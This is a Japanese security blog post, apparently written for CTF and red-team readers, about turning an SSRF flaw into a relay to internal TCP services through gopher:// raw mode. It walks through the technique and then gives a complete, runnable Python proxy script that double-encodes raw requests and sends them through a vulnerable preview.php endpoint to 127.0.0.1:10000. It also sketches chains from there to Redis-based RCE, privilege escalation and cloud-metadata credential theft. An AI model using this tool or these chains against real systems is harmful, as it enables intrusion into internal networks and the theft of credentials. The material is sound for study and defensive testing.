はじめに
SSRF(Server-Side Request Forgery)は、多くの場合こう説明されます。
「サーバ側から任意の URL にリクエストを送らせられる脆弱性」
しかし、実務や CTF、Red Team の現場では、それだけで終わることはほとんどありません。
本当に価値があるのは 「その SSRF を使って、何ができるか」 です。
本記事では、SSRF と gopher:// を組み合わせることで、
- 外部からは見えない
-
127.0.0.1にしか存在しない - nmap では絶対に列挙できない
内部 TCP サービスを操作・観測するためのプロキシの仕組みを解説します。
全体像:何を作っているのか
今回紹介するスクリプトは、一言で言うと次のものです。
SSRF を踏み台にして、内部 TCP サービスと会話するための中継プロキシ
通信の流れはこうなります。
[Client]
|
| HTTP request
v
[Local proxy :9000]
|
| URL encode
v
[SSRF endpoint /preview.php]
|
| gopher://127.0.0.1:10000/_
v
[Internal service (localhost:10000)]
一見すると HTTP のやり取りに見えますが、
実際には HTTP を装った raw TCP 通信が行われています。
想定環境と前提
- 攻撃対象に SSRF 脆弱性が存在する
- SSRF の fetch 処理が
http://以外のスキームを許可している - 対象サーバ内部に
127.0.0.1:10000のようなサービスが存在する
これは珍しい条件ではありません。
Redis、管理用 HTTP API、社内ツールなどで頻繁に見られます。
仕組み①:TCP を「正しく」受け取る
def recv_http_request(conn):
data = b""
while True:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
if b"\r\n\r\n" in data:
break
if len(data) > MAX_REQUEST_SIZE:
break
return data
ここで重要なのは、
- TCP は ストリーム
-
recv()一発でリクエスト全体が来る保証はない
という点です。
Content-Length を解析せずとも、
最低限 HTTP ヘッダの終端(CRLF CRLF) までは確実に読むことで、
- リクエスト破損
- 中途半端な payload 送信
を防いでいます。
仕組み②:バイト列を壊さず URL に埋め込む
payload = urllib.parse.quote_from_bytes(data)
payload = urllib.parse.quote(payload)
ここがこの手法の核心です。
なぜ二重エンコードするのか?
- 生の HTTP リクエストは 制御文字を含む
- URL パーサ、PHP、Web サーバは途中で文字を解釈・変換する
そのため、
-
quote_from_bytesで raw bytes を%XX化 -
%自体をさらにエスケープ
することで、最終的に gopher 側で元の bytes が復元されるようにしています。
これは「SSRF × Gopher」の定石です。
仕組み③:gopher:// の RAW モード
gopher://127.0.0.1:10000/_PAYLOAD
gopher の _ は RAW モードを意味します。
- HTTP ヘッダ不要
- プロトコル変換なし
- 後ろの文字列がそのまま TCP に送信される
つまりこの瞬間、
Web アプリは URL を fetch しているつもり
内部サービスは TCP で殴られている
という 認識のズレが生まれます。
なぜ nmap では見えないのに、これは通るのか
理由は単純です。
| 手法 | 視点 |
|---|---|
| nmap | 外部ネットワーク |
| SSRF | 内部(localhost) |
127.0.0.1:10000 は、
- 外部からは存在しない
- サーバ自身からは確実に存在する
SSRF は **「内部視点を借りる攻撃」**です。
nmap と競合するものではありません。
攻撃チェーンにおける位置づけ
このコード単体では RCE ではありません。
しかし、実務ではそれで十分です。
例:
- SSRF → Redis → config 書換 → RCE
- SSRF → 内部管理 API → 権限昇格
- SSRF → Cloud Metadata → Credential 窃取
「喋れる SSRF」 は、次の一手を確実にします。
まとめ
- SSRF は「URL を取れる」だけでは終わらない
- gopher:// を使うことで raw TCP が扱える
- nmap に見えない世界は「存在しない」のではなく「外から見えない」だけ
このスクリプトは、
SSRF を “ただの脆弱性” から
“内部ネットワーク用プロキシ” に格上げするための道具
です。
本記事で紹介している内容およびコードは、
セキュリティ学習・検証・研究目的でのみ提供されています。
source code
import urllib.parse
import requests
import threading
import socket
LHOST="127.0.0.1"
LPORT=9000
TARGET_HOST ="X.X.X.X"
HOST_TO_PROXY ="127.0.0.1"
PORT_TO_PROXY=10000
MAX_REQUEST_SIZE =1024 * 64 #64KB
REQUEST_TIMEOUT=8
def recv_http_request(conn):
data = b""
while True:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
# HTTP header finish flag
if b"\r\n\r\n" in data:
break
if len(data) > MAX_REQUEST_SIZE:
break
return data
def handle_client(conn,addr):
with conn:
try:
data= recv_http_request(conn)
if not data:
return
print(f"[+]{addr} request({len(data)} bytes)")
print(data[:200]) #只打印前200 字节,避免刷屏
payload = urllib.parse.quote_from_bytes(data)
payload = urllib.parse.quote(payload)
target_url =(
f"http://{TARGET_HOST}/preview.php"
f"?url=gopher://{HOST_TO_PROXY}:{PORT_TO_PROXY}/_{payload}"
)
resp =requests.get(target_url,timeout=REQUEST_TIMEOUT)
conn.sendall(resp.content)
except Exception as e:
print(f"[!] Error handing{addr}:{e}")
def main():
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((LHOST,LPORT))
s.listen(50)
print(
f"[*] Listening on {LHOST}:{LPORT}, "
f"proxying to {HOST_TO_PROXY}:{PORT_TO_PROXY} via {TARGET_HOST}"
)
while True:
conn,addr =s.accept()
threading.Thread(target=handle_client,args=(conn,addr),daemon=True).start()
if __name__== "__main__":
main()
参考記事